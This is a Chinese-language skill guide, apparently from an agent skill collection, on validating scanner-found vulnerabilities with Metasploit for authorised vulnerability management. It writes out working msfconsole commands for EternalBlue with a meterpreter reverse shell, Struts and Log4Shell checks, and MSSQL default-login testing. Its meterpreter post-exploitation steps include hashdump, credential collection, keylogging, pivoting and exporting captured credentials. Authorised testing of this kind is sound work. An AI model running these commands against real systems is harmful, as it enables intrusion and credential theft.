exploiting-vulnerabilities-with-metasploit-framework

用途

Metasploit Framework 是由 Rapid7 维护的渗透测试平台，包含 2,300 多个 exploit、1,200 个 auxiliary 模块和 400 个 post-exploitation 模块。在漏洞管理中，Metasploit 作为验证工具，用于确认已识别的漏洞是否确实可利用，从而支持基于风险的优先级排序，并向利益相关方展示真实影响。

该技能适用于：经授权的安全测试、在受控环境中分析恶意样本或攻击痕迹、红队演练或渗透测试、基于攻击技术理解构建检测能力。

前置条件

已安装 Metasploit Framework（Kali Linux 或独立安装）
用于会话/凭据管理的 PostgreSQL 数据库
书面授权与测试交战规则
隔离测试环境或经批准的生产测试窗口
理解网络、协议与漏洞利用概念

核心概念

Metasploit 架构组件：

msfconsole：主要交互式命令行界面
Exploits：利用漏洞获取访问权限的模块
Payloads：成功利用后在目标上执行的代码
Auxiliary：扫描、模糊测试与信息收集模块
Post-Exploitation：用于提权、持久化、横向移动的模块
Encoders：用于规避基于签名的检测的载荷编码
Nops：用于载荷对齐的空操作生成器

在漏洞管理中，Metasploit 用于：验证扫描器发现（确认可利用性）、向业务利益相关方展示风险、基于已证实的利用路径确定修复优先级、通过确认漏洞利用不再成功来验证补丁。

使用方式

步骤 1：初始化 Metasploit 环境

# Start PostgreSQL and initialize database
sudo systemctl start postgresql
sudo msfdb init

# Launch msfconsole
msfconsole -q

# Verify database connection
msf6> db_status
msf6> workspace -a vuln_validation_2025

# Import vulnerability scan results
msf6> db_import /path/to/nessus_scan.nessus
msf6> hosts
msf6> vulns

步骤 2：验证特定漏洞

# Example: Validate MS17-010 (EternalBlue) from scan findings
msf6> search type:exploit name:ms17_010
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> show options
msf6> set RHOSTS 192.168.1.100
msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50
msf6> set LPORT 4444

# Use check command first (non-exploitative validation)
msf6> check
# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!

# Only exploit if check confirms vulnerability and authorized
msf6> exploit

# Example: Validate Apache Struts RCE (CVE-2017-5638)
msf6> use exploit/multi/http/struts2_content_type_ognl
msf6> set RHOSTS target.example.com
msf6> set RPORT 8080
msf6> set TARGETURI /showcase.action
msf6> check

# Example: Validate Log4Shell (CVE-2021-44228)
msf6> use exploit/multi/http/log4shell_header_injection
msf6> set RHOSTS target.example.com
msf6> set HTTP_HEADER X-Api-Version
msf6> check

步骤 3：辅助扫描验证

# SMB vulnerability scanning
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6> set RHOSTS 192.168.1.0/24
msf6> set THREADS 10
msf6> run

# SSL/TLS vulnerability checks
msf6> use auxiliary/scanner/ssl/openssl_heartbleed
msf6> set RHOSTS target.example.com
msf6> run

# HTTP vulnerability validation
msf6> use auxiliary/scanner/http/dir_listing
msf6> set RHOSTS target.example.com
msf6> run

# Database authentication testing
msf6> use auxiliary/scanner/mssql/mssql_login
msf6> set RHOSTS db-server.corp.local
msf6> set USERNAME sa
msf6> set PASSWORD ""
msf6> run

步骤 4：后渗透影响评估

# After successful exploitation, demonstrate impact
meterpreter> getuid
meterpreter> sysinfo
meterpreter> hashdump
meterpreter> run post/multi/gather/env
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/windows/gather/credentials/credential_collector

# Network pivoting demonstration
meterpreter> run post/multi/manage/autoroute
meterpreter> run auxiliary/server/socks_proxy

# Screenshot for evidence
meterpreter> screenshot
meterpreter> keyscan_start

步骤 5：记录并报告发现

# Export exploitation evidence
msf6> vulns -o /tmp/validated_vulns.csv
msf6> hosts -o /tmp/compromised_hosts.csv
msf6> creds -o /tmp/captured_creds.csv
msf6> loot -o /tmp/captured_loot.csv

# Generate report from database
msf6> db_export -f xml /tmp/msf_report.xml

步骤 6：补丁后验证

# After remediation, verify exploit no longer works
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6> set RHOSTS 192.168.1.100
msf6> check
# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.
# Patch verified successfully

安全控制

可用时始终在 exploit 前使用 check 命令
设置 AutoRunScript 以进行干净的会话管理
使用 EXITFUNC=thread 防止目标服务崩溃
将载荷能力限制在验证所需的最小范围
记录每个操作以形成审计轨迹与证据
每次交战使用工作区隔离
绝不对未授权目标运行 Metasploit

最佳实践

在利用前先使用漏洞检查模块
仅用 Metasploit 验证最高优先级的扫描器发现
与系统所有者协调测试窗口
保留所有利用尝试的详细日志
测试后清理所有痕迹与会话
使用结果为利益相关方构建有说服力的风险叙述
将 Metasploit 验证集成到漏洞管理工作流中

常见陷阱

未经书面授权进行利用（法律责任）
未经协调在生产系统上使用利用
未清理 Meterpreter 会话与痕迹
混淆漏洞验证与渗透测试范围
对已打补丁系统使用过时的 Metasploit 模块
未为修复团队记录利用证据

技能介绍

用途